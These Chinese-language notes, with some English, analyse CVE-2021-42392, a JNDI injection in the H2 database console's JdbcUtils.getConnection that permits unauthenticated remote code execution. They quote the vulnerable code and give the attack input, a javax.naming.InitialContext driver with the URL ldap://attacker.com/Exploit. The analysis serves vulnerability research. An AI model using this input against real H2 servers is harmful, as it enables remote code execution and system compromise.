- https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console/
- 原理分析
- 默认情况下,H2 控制台仅侦听 localhost 连接——默认设置安全。
漏洞根本原因——JNDI远程类加载
简而言之,根本原因类似于 Log4Shell——H2 数据库框架中的多个代码路径将未经过滤的攻击者控制的 URL 传递给该javax.naming.Context.lookup函数,从而允许远程代码库加载(AKA Java 代码注入 AKA 远程代码执行)。
具体来说,该org.h2.util.JdbcUtils.getConnection方法将驱动程序类名和数据库 URL 作为参数。如果驱动程序的类可分配给javax.naming.Context该类,则该方法会从中实例化一个对象并调用其查找方法:
else if (javax.naming.Context.class.isAssignableFrom(d)) {
// JNDI context
Context context = (Context) d.getDeclaredConstructor().newInstance();
DataSource ds = (DataSource) context.lookup(url);
if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {
return ds.getConnection();
}
return ds.getConnection(user, password);
}
提供驱动程序类javax.naming.InitialContext和 URLldap://attacker.com/Exploit将导致远程代码执行。
即风险Sink点是JdbcUtils.getConnection中第而个参数。
文章的后面就讨论一共有哪些用户可控输入流入JdbcUtils.getConnection了。
拓展问题
- 其他组件的getConnection很可能有问题,要不就是XXE,要不就是命令执行(如pgdriver)…
- The org.h2.util.JdbcUtils.getConnection method of the H2 database takes as parameters the class name of the driver and URL of the database. An attacker may pass a JNDI driver name and a URL leading to a LDAP or RMI servers, causing remote code execution. This can be exploited through various attack vectors, most notably through the H2 Console which leads to unauthenticated remote code execution.
修复Patch
- https://github.com/CVEProject/cvelist/blob/e8ce7459fdc0d8b5edc8c9fddad3d261b76c03a3/2021/42xxx/CVE-2021-42392.json
- https://github.com/CVEProject/cvelist/blob/e8ce7459fdc0d8b5edc8c9fddad3d261b76c03a3/2021/42xxx/CVE-2021-42392.json